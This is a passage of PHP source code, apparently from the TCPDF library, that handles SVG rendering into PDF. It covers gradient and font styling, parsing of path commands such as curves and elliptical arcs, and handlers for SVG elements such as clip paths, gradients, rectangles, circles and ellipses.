$gradient = $newgradient; } //save current Graphic State $this->_out('q'); //set clipping area if (!empty($clip_function) AND method_exists($this, $clip_function)) { $bbox = call_user_func_array(array($this, $clip_function), $clip_params); if (is_array($bbox) AND (count($bbox) == 4)) { list($x, $y, $w, $h) = $bbox; } } if ($gradient['mode'] == 'measure') { if (isset($gradient['gradientTransform']) AND !empty($gradient['gradientTransform'])) { $gtm = $gradient['gradientTransform']; // apply transformation matrix $xa = ($gtm[0] * $gradient['coords'][0]) + ($gtm[2] * $gradient['coords'][1]) + $gtm[4]; $ya = ($gtm[1] * $gradient['coords'][0]) + ($gtm[3] * $gradient['coords'][1]) + $gtm[5]; $xb = ($gtm[0] * $gradient['coords'][2]) + ($gtm[2] * $gradient['coords'][3]) + $gtm[4]; $yb = ($gtm[1] * $gradient['coords'][2]) + ($gtm[3] * $gradient['coords'][3]) + $gtm[5]; if (isset($gradient['coords'][4])) { $gradient['coords'][4] = sqrt(pow(($gtm[0] * $gradient['coords'][4]), 2) + pow(($gtm[1] * $gradient['coords'][4]), 2)); } $gradient['coords'][0] = $xa; $gradient['coords'][1] = $ya; $gradient['coords'][2] = $xb; $gradient['coords'][3] = $yb; } // convert SVG coordinates to user units $gradient['coords'][0] = $this->getHTMLUnitToUnits($gradient['coords'][0], 0, $this->svgunit, false); $gradient['coords'][1] = $this->getHTMLUnitToUnits($gradient['coords'][1], 0, $this->svgunit, false); $gradient['coords'][2] = $this->getHTMLUnitToUnits($gradient['coords'][2], 0, $this->svgunit, false); $gradient['coords'][3] = $this->getHTMLUnitToUnits($gradient['coords'][3], 0, $this->svgunit, false); if (isset($gradient['coords'][4])) { $gradient['coords'][4] = $this->getHTMLUnitToUnits($gradient['coords'][4], 0, $this->svgunit, false); } if ($w <= $minlen) { $w = $minlen; } if ($h <= $minlen) { $h = $minlen; } // shift units if ($gradient['gradientUnits'] == 'objectBoundingBox') { // convert to SVG coordinate system $gradient['coords'][0] += $x; $gradient['coords'][1] += $y; $gradient['coords'][2] += $x; $gradient['coords'][3] += $y; } // calculate percentages $gradient['coords'][0] = (($gradient['coords'][0] - $x) / $w); $gradient['coords'][1] = (($gradient['coords'][1] - $y) / $h); $gradient['coords'][2] = (($gradient['coords'][2] - $x) / $w); $gradient['coords'][3] = (($gradient['coords'][3] - $y) / $h); if (isset($gradient['coords'][4])) { $gradient['coords'][4] /= $w; } } elseif ($gradient['mode'] == 'percentage') { foreach($gradient['coords'] as $key => $val) { $gradient['coords'][$key] = (intval($val) / 100); if ($val < 0) { $gradient['coords'][$key] = 0; } elseif ($val > 1) { $gradient['coords'][$key] = 1; } } } if (($gradient['type'] == 2) AND ($gradient['coords'][0] == $gradient['coords'][2]) AND ($gradient['coords'][1] == $gradient['coords'][3])) { // single color (no shading) $gradient['coords'][0] = 1; $gradient['coords'][1] = 0; $gradient['coords'][2] = 0.999; $gradient['coords'][3] = 0; } // swap Y coordinates $tmp = $gradient['coords'][1]; $gradient['coords'][1] = $gradient['coords'][3]; $gradient['coords'][3] = $tmp; // set transformation map for gradient if ($gradient['type'] == 3) { // circular gradient $cy = $this->h - $y - ($gradient['coords'][1] * ($w + $h)); $this->_out(sprintf('%F 0 0 %F %F %F cm', ($w * $this->k), ($w * $this->k), ($x * $this->k), ($cy * $this->k))); } else { $this->_out(sprintf('%F 0 0 %F %F %F cm', ($w * $this->k), ($h * $this->k), ($x * $this->k), (($this->h - ($y + $h)) * $this->k))); } if (count($gradient['stops']) > 1) { $this->Gradient($gradient['type'], $gradient['coords'], $gradient['stops'], array(), false); } } elseif ($svgstyle['fill'] != 'none') { $fill_color = $this->convertHTMLColorToDec($svgstyle['fill']); if ($svgstyle['fill-opacity'] != 1) { $this->setAlpha($this->alpha['CA'], 'Normal', $svgstyle['fill-opacity'], false); } $this->SetFillColorArray($fill_color); if ($svgstyle['fill-rule'] == 'evenodd') { $objstyle .= 'F*'; } else { $objstyle .= 'F'; } } // stroke if ($svgstyle['stroke'] != 'none') { if ($svgstyle['stroke-opacity'] != 1) { $this->setAlpha($svgstyle['stroke-opacity'], 'Normal', $this->alpha['ca'], false); } $stroke_style = array( 'color' => $this->convertHTMLColorToDec($svgstyle['stroke']), 'width' => $this->getHTMLUnitToUnits($svgstyle['stroke-width'], 0, $this->svgunit, false), 'cap' => $svgstyle['stroke-linecap'], 'join' => $svgstyle['stroke-linejoin'] ); if (isset($svgstyle['stroke-dasharray']) AND !empty($svgstyle['stroke-dasharray']) AND ($svgstyle['stroke-dasharray'] != 'none')) { $stroke_style['dash'] = $svgstyle['stroke-dasharray']; } $this->SetLineStyle($stroke_style); $objstyle .= 'D'; } // font $regs = array(); if (!empty($svgstyle['font'])) { if (preg_match('/font-family[\s]*:[\s]*([^\;\"]*)/si', $svgstyle['font'], $regs)) { $font_family = $this->getFontFamilyName($regs[1]); } else { $font_family = $svgstyle['font-family']; } if (preg_match('/font-size[\s]*:[\s]*([^\s\;\"]*)/si', $svgstyle['font'], $regs)) { $font_size = trim($regs[1]); } else { $font_size = $svgstyle['font-size']; } if (preg_match('/font-style[\s]*:[\s]*([^\s\;\"]*)/si', $svgstyle['font'], $regs)) { $font_style = trim($regs[1]); } else { $font_style = $svgstyle['font-style']; } if (preg_match('/font-weight[\s]*:[\s]*([^\s\;\"]*)/si', $svgstyle['font'], $regs)) { $font_weight = trim($regs[1]); } else { $font_weight = $svgstyle['font-weight']; } if (preg_match('/font-stretch[\s]*:[\s]*([^\s\;\"]*)/si', $svgstyle['font'], $regs)) { $font_stretch = trim($regs[1]); } else { $font_stretch = $svgstyle['font-stretch']; } if (preg_match('/letter-spacing[\s]*:[\s]*([^\s\;\"]*)/si', $svgstyle['font'], $regs)) { $font_spacing = trim($regs[1]); } else { $font_spacing = $svgstyle['letter-spacing']; } } else { $font_family = $this->getFontFamilyName($svgstyle['font-family']); $font_size = $svgstyle['font-size']; $font_style = $svgstyle['font-style']; $font_weight = $svgstyle['font-weight']; $font_stretch = $svgstyle['font-stretch']; $font_spacing = $svgstyle['letter-spacing']; } $font_size = $this->getHTMLUnitToUnits($font_size, $prevsvgstyle['font-size'], $this->svgunit, false) * $this->k; $font_stretch = $this->getCSSFontStretching($font_stretch, $svgstyle['font-stretch']); $font_spacing = $this->getCSSFontSpacing($font_spacing, $svgstyle['letter-spacing']); switch ($font_style) { case 'italic': { $font_style = 'I'; break; } case 'oblique': { $font_style = 'I'; break; } default: case 'normal': { $font_style = ''; break; } } switch ($font_weight) { case 'bold': case 'bolder': { $font_style .= 'B'; break; } } switch ($svgstyle['text-decoration']) { case 'underline': { $font_style .= 'U'; break; } case 'overline': { $font_style .= 'O'; break; } case 'line-through': { $font_style .= 'D'; break; } default: case 'none': { break; } } $this->SetFont($font_family, $font_style, $font_size); $this->setFontStretching($font_stretch); $this->setFontSpacing($font_spacing); return $objstyle; } /** * Draws an SVG path * @param $d (string) attribute d of the path SVG element * @param $style (string) Style of rendering. Possible values are: * <ul> * <li>D or empty string: Draw (default).</li> * <li>F: Fill.</li> * <li>F*: Fill using the even-odd rule to determine which regions lie inside the clipping path.</li> * <li>DF or FD: Draw and fill.</li> * <li>DF* or FD*: Draw and fill using the even-odd rule to determine which regions lie inside the clipping path.</li> * <li>CNZ: Clipping mode (using the even-odd rule to determine which regions lie inside the clipping path).</li> * <li>CEO: Clipping mode (using the nonzero winding number rule to determine which regions lie inside the clipping path).</li> * </ul> * @return array of container box measures (x, y, w, h) * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function SVGPath($d, $style='') { if ($this->state != 2) { return; } // set fill/stroke style $op = $this->getPathPaintOperator($style, ''); if (empty($op)) { return; } $paths = array(); $d = preg_replace('/([0-9ACHLMQSTVZ])([\-\+])/si', '\\1 \\2', $d); preg_match_all('/([ACHLMQSTVZ])[\s]*([^ACHLMQSTVZ\"]*)/si', $d, $paths, PREG_SET_ORDER); $x = 0; $y = 0; $x1 = 0; $y1 = 0; $x2 = 0; $y2 = 0; $xmin = 2147483647; $xmax = 0; $ymin = 2147483647; $ymax = 0; $relcoord = false; $minlen = (0.01 / $this->k); // minimum acceptable length (3 point) $firstcmd = true; // used to print first point // draw curve pieces foreach ($paths as $key => $val) { // get curve type $cmd = trim($val[1]); if (strtolower($cmd) == $cmd) { // use relative coordinated instead of absolute $relcoord = true; $xoffset = $x; $yoffset = $y; } else { $relcoord = false; $xoffset = 0; $yoffset = 0; } $params = array(); if (isset($val[2])) { // get curve parameters $rawparams = preg_split('/([\,\s]+)/si', trim($val[2])); $params = array(); foreach ($rawparams as $ck => $cp) { $params[$ck] = $this->getHTMLUnitToUnits($cp, 0, $this->svgunit, false); if (abs($params[$ck]) < $minlen) { // aproximate little values to zero $params[$ck] = 0; } } } // store current origin point $x0 = $x; $y0 = $y; switch (strtoupper($cmd)) { case 'M': { // moveto foreach ($params as $ck => $cp) { if (($ck % 2) == 0) { $x = $cp + $xoffset; } else { $y = $cp + $yoffset; if ($firstcmd OR (abs($x0 - $x) >= $minlen) OR (abs($y0 - $y) >= $minlen)) { if ($ck == 1) { $this->_outPoint($x, $y); $firstcmd = false; } else { $this->_outLine($x, $y); } $x0 = $x; $y0 = $y; } $xmin = min($xmin, $x); $ymin = min($ymin, $y); $xmax = max($xmax, $x); $ymax = max($ymax, $y); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'L': { // lineto foreach ($params as $ck => $cp) { if (($ck % 2) == 0) { $x = $cp + $xoffset; } else { $y = $cp + $yoffset; if ((abs($x0 - $x) >= $minlen) OR (abs($y0 - $y) >= $minlen)) { $this->_outLine($x, $y); $x0 = $x; $y0 = $y; } $xmin = min($xmin, $x); $ymin = min($ymin, $y); $xmax = max($xmax, $x); $ymax = max($ymax, $y); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'H': { // horizontal lineto foreach ($params as $ck => $cp) { $x = $cp + $xoffset; if ((abs($x0 - $x) >= $minlen) OR (abs($y0 - $y) >= $minlen)) { $this->_outLine($x, $y); $x0 = $x; $y0 = $y; } $xmin = min($xmin, $x); $xmax = max($xmax, $x); if ($relcoord) { $xoffset = $x; } } break; } case 'V': { // vertical lineto foreach ($params as $ck => $cp) { $y = $cp + $yoffset; if ((abs($x0 - $x) >= $minlen) OR (abs($y0 - $y) >= $minlen)) { $this->_outLine($x, $y); $x0 = $x; $y0 = $y; } $ymin = min($ymin, $y); $ymax = max($ymax, $y); if ($relcoord) { $yoffset = $y; } } break; } case 'C': { // curveto foreach ($params as $ck => $cp) { $params[$ck] = $cp; if ((($ck + 1) % 6) == 0) { $x1 = $params[($ck - 5)] + $xoffset; $y1 = $params[($ck - 4)] + $yoffset; $x2 = $params[($ck - 3)] + $xoffset; $y2 = $params[($ck - 2)] + $yoffset; $x = $params[($ck - 1)] + $xoffset; $y = $params[($ck)] + $yoffset; $this->_outCurve($x1, $y1, $x2, $y2, $x, $y); $xmin = min($xmin, $x, $x1, $x2); $ymin = min($ymin, $y, $y1, $y2); $xmax = max($xmax, $x, $x1, $x2); $ymax = max($ymax, $y, $y1, $y2); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'S': { // shorthand/smooth curveto foreach ($params as $ck => $cp) { $params[$ck] = $cp; if ((($ck + 1) % 4) == 0) { if (($key > 0) AND ((strtoupper($paths[($key - 1)][1]) == 'C') OR (strtoupper($paths[($key - 1)][1]) == 'S'))) { $x1 = (2 * $x) - $x2; $y1 = (2 * $y) - $y2; } else { $x1 = $x; $y1 = $y; } $x2 = $params[($ck - 3)] + $xoffset; $y2 = $params[($ck - 2)] + $yoffset; $x = $params[($ck - 1)] + $xoffset; $y = $params[($ck)] + $yoffset; $this->_outCurve($x1, $y1, $x2, $y2, $x, $y); $xmin = min($xmin, $x, $x1, $x2); $ymin = min($ymin, $y, $y1, $y2); $xmax = max($xmax, $x, $x1, $x2); $ymax = max($ymax, $y, $y1, $y2); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'Q': { // quadratic B�zier curveto foreach ($params as $ck => $cp) { $params[$ck] = $cp; if ((($ck + 1) % 4) == 0) { // convert quadratic points to cubic points $x1 = $params[($ck - 3)] + $xoffset; $y1 = $params[($ck - 2)] + $yoffset; $xa = ($x + (2 * $x1)) / 3; $ya = ($y + (2 * $y1)) / 3; $x = $params[($ck - 1)] + $xoffset; $y = $params[($ck)] + $yoffset; $xb = ($x + (2 * $x1)) / 3; $yb = ($y + (2 * $y1)) / 3; $this->_outCurve($xa, $ya, $xb, $yb, $x, $y); $xmin = min($xmin, $x, $xa, $xb); $ymin = min($ymin, $y, $ya, $yb); $xmax = max($xmax, $x, $xa, $xb); $ymax = max($ymax, $y, $ya, $yb); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'T': { // shorthand/smooth quadratic B�zier curveto foreach ($params as $ck => $cp) { $params[$ck] = $cp; if (($ck % 2) != 0) { if (($key > 0) AND ((strtoupper($paths[($key - 1)][1]) == 'Q') OR (strtoupper($paths[($key - 1)][1]) == 'T'))) { $x1 = (2 * $x) - $x1; $y1 = (2 * $y) - $y1; } else { $x1 = $x; $y1 = $y; } // convert quadratic points to cubic points $xa = ($x + (2 * $x1)) / 3; $ya = ($y + (2 * $y1)) / 3; $x = $params[($ck - 1)] + $xoffset; $y = $params[($ck)] + $yoffset; $xb = ($x + (2 * $x1)) / 3; $yb = ($y + (2 * $y1)) / 3; $this->_outCurve($xa, $ya, $xb, $yb, $x, $y); $xmin = min($xmin, $x, $xa, $xb); $ymin = min($ymin, $y, $ya, $yb); $xmax = max($xmax, $x, $xa, $xb); $ymax = max($ymax, $y, $ya, $yb); if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'A': { // elliptical arc foreach ($params as $ck => $cp) { $params[$ck] = $cp; if ((($ck + 1) % 7) == 0) { $x0 = $x; $y0 = $y; $rx = abs($params[($ck - 6)]); $ry = abs($params[($ck - 5)]); $ang = -$rawparams[($ck - 4)]; $angle = deg2rad($ang); $fa = $rawparams[($ck - 3)]; // large-arc-flag $fs = $rawparams[($ck - 2)]; // sweep-flag $x = $params[($ck - 1)] + $xoffset; $y = $params[$ck] + $yoffset; if ((abs($x0 - $x) < $minlen) AND (abs($y0 - $y) < $minlen)) { // endpoints are almost identical $xmin = min($xmin, $x); $ymin = min($ymin, $y); $xmax = max($xmax, $x); $ymax = max($ymax, $y); } else { $cos_ang = cos($angle); $sin_ang = sin($angle); $a = (($x0 - $x) / 2); $b = (($y0 - $y) / 2); $xa = ($a * $cos_ang) - ($b * $sin_ang); $ya = ($a * $sin_ang) + ($b * $cos_ang); $rx2 = $rx * $rx; $ry2 = $ry * $ry; $xa2 = $xa * $xa; $ya2 = $ya * $ya; $delta = ($xa2 / $rx2) + ($ya2 / $ry2); if ($delta > 1) { $rx *= sqrt($delta); $ry *= sqrt($delta); $rx2 = $rx * $rx; $ry2 = $ry * $ry; } $numerator = (($rx2 * $ry2) - ($rx2 * $ya2) - ($ry2 * $xa2)); if ($numerator < 0) { $root = 0; } else { $root = sqrt($numerator / (($rx2 * $ya2) + ($ry2 * $xa2))); } if ($fa == $fs){ $root *= -1; } $cax = $root * (($rx * $ya) / $ry); $cay = -$root * (($ry * $xa) / $rx); // coordinates of ellipse center $cx = ($cax * $cos_ang) - ($cay * $sin_ang) + (($x0 + $x) / 2); $cy = ($cax * $sin_ang) + ($cay * $cos_ang) + (($y0 + $y) / 2); // get angles $angs = $this->getVectorsAngle(1, 0, (($xa - $cax) / $rx), (($cay - $ya) / $ry)); $dang = $this->getVectorsAngle((($xa - $cax) / $rx), (($ya - $cay) / $ry), ((-$xa - $cax) / $rx), ((-$ya - $cay) / $ry)); if (($fs == 0) AND ($dang > 0)) { $dang -= (2 * M_PI); } elseif (($fs == 1) AND ($dang < 0)) { $dang += (2 * M_PI); } $angf = $angs - $dang; if ((($fs == 0) AND ($angs > $angf)) OR (($fs == 1) AND ($angs < $angf))) { // reverse angles $tmp = $angs; $angs = $angf; $angf = $tmp; } $angs = round(rad2deg($angs), 6); $angf = round(rad2deg($angf), 6); // covent angles to positive values if (($angs < 0) AND ($angf < 0)) { $angs += 360; $angf += 360; } $pie = false; if (($key == 0) AND (isset($paths[($key + 1)][1])) AND (trim($paths[($key + 1)][1]) == 'z')) { $pie = true; } list($axmin, $aymin, $axmax, $aymax) = $this->_outellipticalarc($cx, $cy, $rx, $ry, $ang, $angs, $angf, $pie, 2, false, ($fs == 0), true); $xmin = min($xmin, $x, $axmin); $ymin = min($ymin, $y, $aymin); $xmax = max($xmax, $x, $axmax); $ymax = max($ymax, $y, $aymax); } if ($relcoord) { $xoffset = $x; $yoffset = $y; } } } break; } case 'Z': { $this->_out('h'); break; } } $firstcmd = false; } // end foreach if (!empty($op)) { $this->_out($op); } return array($xmin, $ymin, ($xmax - $xmin), ($ymax - $ymin)); } /** * Returns the angle in radiants between two vectors * @param $x1 (int) X coordinate of first vector point * @param $y1 (int) Y coordinate of first vector point * @param $x2 (int) X coordinate of second vector point * @param $y2 (int) Y coordinate of second vector point * @author Nicola Asuni * @since 5.0.000 (2010-05-04) * @protected */ protected function getVectorsAngle($x1, $y1, $x2, $y2) { $dprod = ($x1 * $x2) + ($y1 * $y2); $dist1 = sqrt(($x1 * $x1) + ($y1 * $y1)); $dist2 = sqrt(($x2 * $x2) + ($y2 * $y2)); $angle = acos($dprod / ($dist1 * $dist2)); if (is_nan($angle)) { $angle = M_PI; } if ((($x1 * $y2) - ($x2 * $y1)) < 0) { $angle *= -1; } return $angle; } /** * Sets the opening SVG element handler function for the XML parser. (*** TO BE COMPLETED ***) * @param $parser (resource) The first parameter, parser, is a reference to the XML parser calling the handler. * @param $name (string) The second parameter, name, contains the name of the element for which this handler is called. If case-folding is in effect for this parser, the element name will be in uppercase letters. * @param $attribs (array) The third parameter, attribs, contains an associative array with the element's attributes (if any). The keys of this array are the attribute names, the values are the attribute values. Attribute names are case-folded on the same criteria as element names. Attribute values are not case-folded. The original order of the attributes can be retrieved by walking through attribs the normal way, using each(). The first key in the array was the first attribute, and so on. * @param $ctm (array) tranformation matrix for clipping mode (starting transformation matrix). * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function startSVGElementHandler($parser, $name, $attribs, $ctm=array()) { // check if we are in clip mode if ($this->svgclipmode) { $this->svgclippaths[$this->svgclipid][] = array('name' => $name, 'attribs' => $attribs, 'tm' => $this->svgcliptm[$this->svgclipid]); return; } if ($this->svgdefsmode AND !in_array($name, array('clipPath', 'linearGradient', 'radialGradient', 'stop'))) { if (!isset($attribs['id'])) { $attribs['id'] = 'DF_'.(count($this->svgdefs) + 1); } $this->svgdefs[$attribs['id']] = array('name' => $name, 'attribs' => $attribs); return; } $clipping = false; if ($parser == 'clip-path') { // set clipping mode $clipping = true; } // get styling properties $prev_svgstyle = $this->svgstyles[(count($this->svgstyles) - 1)]; // previous style $svgstyle = $this->svgstyles[0]; // set default style if ($clipping AND !isset($attribs['fill']) AND (!isset($attribs['style']) OR (!preg_match('/[;\"\s]{1}fill[\s]*:[\s]*([^;\"]*)/si', $attribs['style'], $attrval)))) { // default fill attribute for clipping $attribs['fill'] = 'none'; } if (isset($attribs['style']) AND !$this->empty_string($attribs['style'])) { // fix style for regular expression $attribs['style'] = ';'.$attribs['style']; } foreach ($prev_svgstyle as $key => $val) { if (in_array($key, $this->svginheritprop)) { // inherit previous value $svgstyle[$key] = $val; } if (isset($attribs[$key]) AND !$this->empty_string($attribs[$key])) { // specific attribute settings if ($attribs[$key] == 'inherit') { $svgstyle[$key] = $val; } else { $svgstyle[$key] = $attribs[$key]; } } elseif (isset($attribs['style']) AND !$this->empty_string($attribs['style'])) { // CSS style syntax $attrval = array(); if (preg_match('/[;\"\s]{1}'.$key.'[\s]*:[\s]*([^;\"]*)/si', $attribs['style'], $attrval) AND isset($attrval[1])) { if ($attrval[1] == 'inherit') { $svgstyle[$key] = $val; } else { $svgstyle[$key] = $attrval[1]; } } } } // transformation matrix if (!empty($ctm)) { $tm = $ctm; } else { //$tm = $this->svgstyles[(count($this->svgstyles) - 1)]['transfmatrix']; $tm = array(1,0,0,1,0,0); } if (isset($attribs['transform']) AND !empty($attribs['transform'])) { $tm = $this->getTransformationMatrixProduct($tm, $this->getSVGTransformMatrix($attribs['transform'])); } $svgstyle['transfmatrix'] = $tm; $invisible = false; if (($svgstyle['visibility'] == 'hidden') OR ($svgstyle['visibility'] == 'collapse') OR ($svgstyle['display'] == 'none')) { // the current graphics element is invisible (nothing is painted) $invisible = true; } // process tag switch($name) { case 'defs': { $this->svgdefsmode = true; break; } // clipPath case 'clipPath': { if ($invisible) { break; } $this->svgclipmode = true; if (!isset($attribs['id'])) { $attribs['id'] = 'CP_'.(count($this->svgcliptm) + 1); } $this->svgclipid = $attribs['id']; $this->svgclippaths[$this->svgclipid] = array(); $this->svgcliptm[$this->svgclipid] = $tm; break; } case 'svg': { // start of SVG object break; } case 'g': { // group together related graphics elements array_push($this->svgstyles, $svgstyle); $this->StartTransform(); $this->SVGTransform($tm); $this->setSVGStyles($svgstyle, $prev_svgstyle); break; } case 'linearGradient': { if ($this->pdfa_mode) { break; } if (!isset($attribs['id'])) { $attribs['id'] = 'GR_'.(count($this->svggradients) + 1); } $this->svggradientid = $attribs['id']; $this->svggradients[$this->svggradientid] = array(); $this->svggradients[$this->svggradientid]['type'] = 2; $this->svggradients[$this->svggradientid]['stops'] = array(); if (isset($attribs['gradientUnits'])) { $this->svggradients[$this->svggradientid]['gradientUnits'] = $attribs['gradientUnits']; } else { $this->svggradients[$this->svggradientid]['gradientUnits'] = 'objectBoundingBox'; } //$attribs['spreadMethod'] if (((!isset($attribs['x1'])) AND (!isset($attribs['y1'])) AND (!isset($attribs['x2'])) AND (!isset($attribs['y2']))) OR ((isset($attribs['x1']) AND (substr($attribs['x1'], -1) == '%')) OR (isset($attribs['y1']) AND (substr($attribs['y1'], -1) == '%')) OR (isset($attribs['x2']) AND (substr($attribs['x2'], -1) == '%')) OR (isset($attribs['y2']) AND (substr($attribs['y2'], -1) == '%')))) { $this->svggradients[$this->svggradientid]['mode'] = 'percentage'; } else { $this->svggradients[$this->svggradientid]['mode'] = 'measure'; } $x1 = (isset($attribs['x1'])?$attribs['x1']:'0'); $y1 = (isset($attribs['y1'])?$attribs['y1']:'0'); $x2 = (isset($attribs['x2'])?$attribs['x2']:'100'); $y2 = (isset($attribs['y2'])?$attribs['y2']:'0'); if (isset($attribs['gradientTransform'])) { $this->svggradients[$this->svggradientid]['gradientTransform'] = $this->getSVGTransformMatrix($attribs['gradientTransform']); } $this->svggradients[$this->svggradientid]['coords'] = array($x1, $y1, $x2, $y2); if (isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])) { // gradient is defined on another place $this->svggradients[$this->svggradientid]['xref'] = substr($attribs['xlink:href'], 1); } break; } case 'radialGradient': { if ($this->pdfa_mode) { break; } if (!isset($attribs['id'])) { $attribs['id'] = 'GR_'.(count($this->svggradients) + 1); } $this->svggradientid = $attribs['id']; $this->svggradients[$this->svggradientid] = array(); $this->svggradients[$this->svggradientid]['type'] = 3; $this->svggradients[$this->svggradientid]['stops'] = array(); if (isset($attribs['gradientUnits'])) { $this->svggradients[$this->svggradientid]['gradientUnits'] = $attribs['gradientUnits']; } else { $this->svggradients[$this->svggradientid]['gradientUnits'] = 'objectBoundingBox'; } //$attribs['spreadMethod'] if (((!isset($attribs['cx'])) AND (!isset($attribs['cy']))) OR ((isset($attribs['cx']) AND (substr($attribs['cx'], -1) == '%')) OR (isset($attribs['cy']) AND (substr($attribs['cy'], -1) == '%')) )) { $this->svggradients[$this->svggradientid]['mode'] = 'percentage'; } else { $this->svggradients[$this->svggradientid]['mode'] = 'measure'; } $cx = (isset($attribs['cx']) ? $attribs['cx'] : 0.5); $cy = (isset($attribs['cy']) ? $attribs['cy'] : 0.5); $fx = (isset($attribs['fx']) ? $attribs['fx'] : $cx); $fy = (isset($attribs['fy']) ? $attribs['fy'] : $cy); $r = (isset($attribs['r']) ? $attribs['r'] : 0.5); if (isset($attribs['gradientTransform'])) { $this->svggradients[$this->svggradientid]['gradientTransform'] = $this->getSVGTransformMatrix($attribs['gradientTransform']); } $this->svggradients[$this->svggradientid]['coords'] = array($cx, $cy, $fx, $fy, $r); if (isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])) { // gradient is defined on another place $this->svggradients[$this->svggradientid]['xref'] = substr($attribs['xlink:href'], 1); } break; } case 'stop': { // gradient stops if (substr($attribs['offset'], -1) == '%') { $offset = floatval(substr($attribs['offset'], -1)) / 100; } else { $offset = floatval($attribs['offset']); if ($offset > 1) { $offset /= 100; } } $stop_color = isset($svgstyle['stop-color'])?$this->convertHTMLColorToDec($svgstyle['stop-color']):'black'; $opacity = isset($svgstyle['stop-opacity'])?$svgstyle['stop-opacity']:1; $this->svggradients[$this->svggradientid]['stops'][] = array('offset' => $offset, 'color' => $stop_color, 'opacity' => $opacity); break; } // paths case 'path': { if ($invisible) { break; } if (isset($attribs['d'])) { $d = trim($attribs['d']); if (!empty($d)) { if ($clipping) { $this->SVGTransform($tm); $this->SVGPath($d, 'CNZ'); } else { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, 0, 0, 1, 1, 'SVGPath', array($d, 'CNZ')); if (!empty($obstyle)) { $this->SVGPath($d, $obstyle); } $this->StopTransform(); } } } break; } // shapes case 'rect': { if ($invisible) { break; } $x = (isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'], 0, $this->svgunit, false):0); $y = (isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'], 0, $this->svgunit, false):0); $w = (isset($attribs['width'])?$this->getHTMLUnitToUnits($attribs['width'], 0, $this->svgunit, false):0); $h = (isset($attribs['height'])?$this->getHTMLUnitToUnits($attribs['height'], 0, $this->svgunit, false):0); $rx = (isset($attribs['rx'])?$this->getHTMLUnitToUnits($attribs['rx'], 0, $this->svgunit, false):0); $ry = (isset($attribs['ry'])?$this->getHTMLUnitToUnits($attribs['ry'], 0, $this->svgunit, false):$rx); if ($clipping) { $this->SVGTransform($tm); $this->RoundedRectXY($x, $y, $w, $h, $rx, $ry, '1111', 'CNZ', array(), array()); } else { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'RoundedRectXY', array($x, $y, $w, $h, $rx, $ry, '1111', 'CNZ')); if (!empty($obstyle)) { $this->RoundedRectXY($x, $y, $w, $h, $rx, $ry, '1111', $obstyle, array(), array()); } $this->StopTransform(); } break; } case 'circle': { if ($invisible) { break; } $r = (isset($attribs['r']) ? $this->getHTMLUnitToUnits($attribs['r'], 0, $this->svgunit, false) : 0); $cx = (isset($attribs['cx']) ? $this->getHTMLUnitToUnits($attribs['cx'], 0, $this->svgunit, false) : (isset($attribs['x']) ? $this->getHTMLUnitToUnits($attribs['x'], 0, $this->svgunit, false) : 0)); $cy = (isset($attribs['cy']) ? $this->getHTMLUnitToUnits($attribs['cy'], 0, $this->svgunit, false) : (isset($attribs['y']) ? $this->getHTMLUnitToUnits($attribs['y'], 0, $this->svgunit, false) : 0)); $x = ($cx - $r); $y = ($cy - $r); $w = (2 * $r); $h = $w; if ($clipping) { $this->SVGTransform($tm); $this->Circle($cx, $cy, $r, 0, 360, 'CNZ', array(), array(), 8); } else { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'Circle', array($cx, $cy, $r, 0, 360, 'CNZ')); if (!empty($obstyle)) { $this->Circle($cx, $cy, $r, 0, 360, $obstyle, array(), array(), 8); } $this->StopTransform(); } break; } case 'ellipse': { if ($invisible) { break; } $rx = (isset($attribs['rx']) ? $this->getHTMLUnitToUnits($attribs['rx'], 0, $this->svgunit, false) : 0); $ry = (isset($attribs['ry']) ? $this->getHTMLUnitToUnits($attribs['ry'], 0, $this->svgunit, false) : 0); $cx = (isset($attribs['cx']) ? $this->getHTMLUnitToUnits($attribs['cx'], 0, $this->svgunit, false) : (isset($attribs['x']) ? $this->getHTMLUnitToUnits($attribs['x'], 0, $this->svgunit, false) : 0)); $cy = (isset($attribs['cy']) ? $this->getHTMLUnitToUnits($attribs['cy'], 0, $this->svgunit, false) : (isset($attribs['y']) ? $this->getHTMLUnitToUnits($attribs['y'], 0, $this->svgunit, false) : 0)); $x = ($cx - $rx); $y = ($cy - $ry); $w = (2 * $rx); $h = (2 * $ry); if ($clipping) { $this->SVGTransform($tm); $this->Ellipse($cx, $cy, $rx, $ry, 0, 0, 360, 'CNZ', array(), array(), 8); } else { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'Ellipse', array($cx, $cy, $rx, $ry, 0, 0, 360, 'CNZ')); if (!empty($obstyle)) { $this->Ellipse($cx, $cy, $rx, $ry, 0, 0, 360, $obstyle, array(), array(), 8); } $this->StopTransform(); } break; } case 'line': { if ($invisible) { break; } $x1 = (isset($attribs['x1'])?$this->getHTMLUnitToUnits($attribs['x1'], 0, $this->svgunit, false):0); $y1 = (isset($attribs['y1'])?$this->getHTMLUnitToUnits($attribs['y1'], 0, $this->svgunit, false):0); $x2 = (isset($attribs['x2'])?$this->getHTMLUnitToUnits($attribs['x2'], 0, $this->svgunit, false):0); $y2 = (isset($attribs['y2'])?$this->getHTMLUnitToUnits($attribs['y2'], 0, $this->svgunit, false):0); $x = $x1; $y = $y1; $w = abs($x2 - $x1); $h = abs($y2 - $y1); if (!$clipping) { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = 